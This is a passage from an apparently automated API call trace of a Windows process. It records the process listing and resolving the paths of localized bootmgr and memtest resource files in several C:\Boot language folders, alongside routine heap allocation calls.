dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.347] GetCurrentThreadId () returned 0x9b0 [0117.347] FindClose (in: hFindFile=0x10f7710 | out: hFindFile=0x10f7710) returned 1 [0117.347] GetFileAttributesA (lpFileName="C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui")) returned 0x20 [0117.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0117.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0117.348] GetCurrentThreadId () returned 0x9b0 [0117.348] GetFullPathNameA (in: lpFileName="C:\\Boot\\lv-LV\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\lv-LV\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0117.348] GetCurrentThreadId () returned 0x9b0 [0117.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0117.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0117.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0117.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0117.349] FindFirstFileA (in: lpFileName="C:\\Boot\\nb-NO\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7890 [0117.349] GetCurrentThreadId () returned 0x9b0 [0117.349] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.349] GetCurrentThreadId () returned 0x9b0 [0117.349] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.349] GetCurrentThreadId () returned 0x9b0 [0117.349] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0117.349] GetCurrentThreadId () returned 0x9b0 [0117.349] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0117.350] GetCurrentThreadId () returned 0x9b0 [0117.350] FindClose (in: hFindFile=0x10f7890 | out: hFindFile=0x10f7890) returned 1 [0117.350] GetCurrentThreadId () returned 0x9b0 [0117.350] GetFileAttributesA (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0117.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.350] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0117.350] GetFileAttributesA (lpFileName="C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui")) returned 0x20 [0117.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0117.351] GetCurrentThreadId () returned 0x9b0 [0117.351] GetFullPathNameA (in: lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\nb-NO\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0117.351] GetCurrentThreadId () returned 0x9b0 [0117.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0117.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0117.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0117.351] GetFullPathNameA (in: lpFileName="C:\\Boot\\nb-NO\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\nb-NO\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x1d [0117.352] GetCurrentThreadId () returned 0x9b0 [0117.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0117.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0117.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0117.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0117.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0117.352] GetCurrentThreadId () returned 0x9b0 [0117.352] FindFirstFileA (in: lpFileName="C:\\Boot\\nl-NL\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f74d0 [0117.352] GetCurrentThreadId () returned 0x9b0 [0117.352] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.353] GetCurrentThreadId () returned 0x9b0 [0117.353] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.353] GetCurrentThreadId () returned 0x9b0 [0117.353] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0117.353] GetCurrentThreadId () returned 0x9b0 [0117.353] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0117.353] GetCurrentThreadId () returned 0x9b0 [0117.353] FindClose (in: hFindFile=0x10f74d0 | out: hFindFile=0x10f74d0) returned 1 [0117.353] GetFileAttributesA (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0117.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.354] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0117.354] GetCurrentThreadId () returned 0x9b0 [0117.354] GetFileAttributesA (lpFileName="C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui")) returned 0x20 [0117.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0117.354] GetFullPathNameA (in: lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\nl-NL\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.354] GetCurrentThreadId () returned 0x9b0 [0117.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0117.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0117.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0117.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0117.355] GetCurrentThreadId () returned 0x9b0 [0117.355] GetFullPathNameA (in: lpFileName="C:\\Boot\\nl-NL\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\nl-NL\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x1d [0117.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0117.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0117.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0117.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0117.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0117.355] GetCurrentThreadId () returned 0x9b0 [0117.356] FindFirstFileA (in: lpFileName="C:\\Boot\\pl-PL\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f76d0 [0117.356] GetCurrentThreadId () returned 0x9b0 [0117.356] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.356] GetCurrentThreadId () returned 0x9b0 [0117.356] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.356] GetCurrentThreadId () returned 0x9b0 [0117.356] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0117.356] GetCurrentThreadId () returned 0x9b0 [0117.357] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0117.357] GetCurrentThreadId () returned 0x9b0 [0117.357] FindClose (in: hFindFile=0x10f76d0 | out: hFindFile=0x10f76d0) returned 1 [0117.357] GetCurrentThreadId () returned 0x9b0 [0117.357] GetFileAttributesA (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0117.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0117.357] GetFileAttributesA (lpFileName="C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui")) returned 0x20 [0117.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0117.358] GetCurrentThreadId () returned 0x9b0 [0117.358] GetFullPathNameA (in: lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\pl-PL\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0117.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0117.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0117.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0117.358] GetCurrentThreadId () returned 0x9b0 [0117.358] GetFullPathNameA (in: lpFileName="C:\\Boot\\pl-PL\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\pl-PL\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x1d [0117.359] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0117.359] GetCurrentThreadId () returned 0x9b0 [0117.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0117.359] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0117.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0117.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0117.359] GetCurrentThreadId () returned 0x9b0 [0117.359] FindFirstFileA (in: lpFileName="C:\\Boot\\pt-BR\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f77d0 [0117.359] GetCurrentThreadId () returned 0x9b0 [0117.360] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.360] GetCurrentThreadId () returned 0x9b0 [0117.360] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.360] GetCurrentThreadId () returned 0x9b0 [0117.360] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0117.360] GetCurrentThreadId () returned 0x9b0 [0117.360] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0117.360] GetCurrentThreadId () returned 0x9b0 [0117.361] FindClose (in: hFindFile=0x10f77d0 | out: hFindFile=0x10f77d0) returned 1 [0117.361] GetFileAttributesA (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0117.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.361] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0117.361] GetCurrentThreadId () returned 0x9b0 [0117.361] GetFileAttributesA (lpFileName="C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui")) returned 0x20 [0117.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0117.362] GetFullPathNameA (in: lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\pt-BR\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.362] GetCurrentThreadId () returned 0x9b0 [0117.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0117.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0117.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0117.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0117.362] GetFullPathNameA (in: lpFileName="C:\\Boot\\pt-BR\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\pt-BR\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x1d [0117.362] GetCurrentThreadId () returned 0x9b0 [0117.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0117.363] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0117.363] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0117.363] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0117.363] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0117.363] GetCurrentThreadId () returned 0x9b0 [0117.363] FindFirstFileA (in: lpFileName="C:\\Boot\\pt-PT\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7690 [0117.363] GetCurrentThreadId () returned 0x9b0 [0117.363] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.363] GetCurrentThreadId () returned 0x9b0 [0117.364] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, 